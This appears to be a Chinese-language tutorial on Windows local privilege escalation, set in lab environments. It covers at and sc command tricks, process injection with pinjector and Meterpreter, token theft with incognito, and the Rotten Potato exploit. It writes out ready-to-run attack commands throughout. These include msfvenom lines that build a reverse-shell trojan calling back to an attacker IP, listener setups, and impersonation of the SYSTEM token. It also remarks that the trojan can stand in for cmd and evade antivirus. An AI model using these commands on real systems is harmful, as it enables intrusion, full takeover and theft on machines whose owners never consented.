目录
at 命令提权
sc 命令提权
ps 命令提权
利用的是windows的特性,权限继承,命令或者服务创建调用的时候会以system权限调用,那么这个命令或者服务的权限也是system。
进程迁移注入提权
pinjector进程注入
MSF进程注入
令牌窃取提权
关于令牌
令牌窃取原理
令牌窃取
烂土豆提权
Windows本地提权,这种提权适用于有一本地个用户的基础上,有一定的权限,无法从webshell上进行提权
at 命令提权
它是低权限用户本地提权至高权限
原理:at命令是一个计划指令,可以在规定的时间完成一些操作,这个命令调用system权限。
at 命令用于在指定时间执行一次性的任务。攻击者可以滥用 "at" 命令的特权执行功能,以在特权级别下运行恶意命令或脚本,从而实现权限提升。这种滥用可能会依赖于系统配置或权限配置的弱点。
当调用计划任务是以system权限运行的,就实现提权。
适合版本:win 2003 2000 xp 7 这些较老的版本
测试环境: win 2003
cmd输入以下指令
at 16:40 /interactive cmd #在生成system权限的cmd
之后会弹出一个cmd命令框,但是这个是system权限的
验证权限
sc 命令提权
sc是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务。
原理:sc 命令是 Windows 系统中的服务控制命令,用于创建、修改、启动、停止和删除系统服务。攻击者可以使用 "sc" 命令以高权限运行的方式创建一个恶意的服务,该服务可以在系统启动时以系统权限运行,从而实现权限提升。
适用版本:windows 7、8、03、08、12、16
当取得普通用户可以登录时可以使用此方法提权,本地用户提权
windows2003 成功,但是其他版本没有成功
测试环境:win 2003
执行以下命令:
#创建一个名叫syscmd的新的交互式的cmd执行服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact
#运行服务
sc start syscmd
ps 命令提权
原理:ps 命令用于列出当前运行的进程信息。攻击者可以使用 "ps" 命令来获取有关进程的信息,以寻找潜在的目标或确定哪些进程具有较高的特权级别。但是,"ps" 命令本身并不直接提供权限提升功能。
工具下载地址:PsTools - Sysinternals | Microsoft Learn
pstools是微软官方自带的工具,可以用来帮助管理系统
当取得普通用户可以登录时可以使用此方法提权,本地用户提权
测试环境:win 2016
在实际测试时,往往是一个命令行的窗口,我们可以直接把cmd换成我们的木马!
利用的是windows的特性,权限继承,命令或者服务创建调用的时候会以system权限调用,那么这个命令或者服务的权限也是system。
进程迁移注入提权
进程在运行时是有一个权限的
注入到其他以system运行的进程中,相当于在你这个进程的下面又开了一个新的线程,享有进程的权限
原理:
-
进程迁移(Process Migration):进程迁移是指将一个正在运行的进程从一个系统迁移到另一个系统的过程。攻击者可以通过某些手段获取到具有高权限的进程的句柄或进程ID。
-
进程注入(Process Injection):进程注入是指将恶意代码注入到目标进程的内存空间中,使其在目标进程的上下文中执行。攻击者可以使用进程迁移获得高权限进程的句柄或进程ID,并将恶意代码注入到该进程中。
-
提权(Privilege Escalation):一旦恶意代码成功注入到高权限进程中,攻击者可以利用该进程的特权执行操作,例如修改系统配置、访问受限资源等。
为什么无法卸载360?360是以system权限执行的,你的administrator权限无法干掉它。
当取得普通用户可以登录时可以使用此方法提权,本地用户提权
电脑上的进程:
pinjector进程注入
测试环境 win 2008
获取当前进程信息
pinjector -l
可以查看系统的进程和权限
指定PID位420的进程下开启一个新的线程执行cmd开启在3344端口
pinjector -p 420 cmd 3344
监听端口
nc 127.0.0.1 3344
MSF进程注入
环境:win2016 administrator
进行进程注入时,当权限过低时是迁移失败的
#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#进程注入
ps //查看进程
migrate PID //迁移对应PID,找是system的权限运行的进程
需要管理员才行,低权限用户几乎搞不了
内网中,管理员和system的权限差距很大的
这个是不会被杀的,因为它利用的是系统特性
令牌窃取提权
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。
所以当一个攻击者需要域管理员的操作权限时候,需通过假冒域管理员的令牌进行攻击。
当前用户的权限也不能过低,过低是无法窃取令牌的
关于令牌
在Windows操作系统中,令牌(Token)是一种用于身份验证和授权的对象。它代表一个用户或进程的安全上下文,包含与该用户或进程相关联的安全标识符(SID)、权限和其他安全属性。
Windows系统的令牌可以分为用户令牌和进程令牌。
-
用户令牌(User Token):用户令牌代表一个登录的用户。它包含用户的安全标识符(SID)、用户组的安全标识符(Group SID)、用户权限以及其他与用户相关的安全属性。用户令牌是由Windows系统在用户登录时创建的,并在用户注销时销毁。
-
进程令牌(Process Token):进程令牌代表一个正在运行的进程。它继承自创建该进程的用户令牌,并包含了用户令牌的信息。进程令牌还可以附加其他权限和安全属性,以控制进程的行为和资源访问权限。
令牌在Windows系统中扮演着重要的角色,用于进行身份验证和授权。它被用于确定用户或进程对系统资源的访问权限,并且在安全上下文切换时起到关键作用。
需要注意的是,令牌并非用户或进程的实体,而是一种系统对象,用于表示用户或进程的身份和权限信息。令牌的创建、管理和使用是由操作系统内核和相关安全机制来处理的,开发者可以通过使用相应的API来访问和操作令牌。
令牌窃取原理
攻击者利用系统中一个高权限的进程(通常是系统进程或具有高权限的服务进程)的令牌来获取比其本身权限更高的权限。
通常情况下,每个进程都有自己的进程令牌,其中包含了该进程的安全上下文和权限。令牌用于验证进程对系统资源的访问权限。然而,某些进程可能具有特权级别较高的令牌,例如系统进程(System)或具有高权限的服务进程。
攻击者可以通过多种方式进行令牌窃取提权攻击,例如:
-
滥用漏洞:攻击者可以利用系统或应用程序中的漏洞,获取到高权限进程的句柄或内存地址,然后使用这些信息来窃取其令牌。
-
进程注入:攻击者可以通过将恶意代码注入到高权限进程中,使其在执行时将其令牌交给攻击者控制的低权限进程。
-
服务篡改:攻击者可以篡改一个已经具有高权限的服务,使其在执行时将其令牌传递给攻击者控制的低权限进程。
一旦攻击者成功获取了高权限进程的令牌,他们就可以使用这个令牌来执行高权限操作,例如访问受限资源、修改系统配置、执行恶意代码等。
令牌窃取
环境:Win2008 administator
当取得普通用户可以登录时可以使用此方法提权,本地用户提权
进行令牌窃取时,当权限过低时是窃取失败的,找不到system的令牌
#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
#开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#进行令牌窃取
use incognito
list_tokens -u #列出有的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #窃取system令牌
烂土豆提权
环境:win7+iis+asp iis低权限用户
这种利用需要上传烂土豆
#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
#开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#进行令牌窃取
execute -cH -f ./potato.exe //配合烂土豆
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
或使用msf对应的模块
#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
#开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#使用烂土豆
use exploit/windows/local/ms16_075_reflection-juicy
set session 1
set lhost 0.0.0.0
run
但是如果用户是本地非administrator用户,有这个漏洞也是利用失败的
需要是以下用户才可以成功提权
管理员(admininstrator)或者本地的服务账户
由服务控制管理器启动的服务
由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运行的COM服务器
IIS与SqlServer用户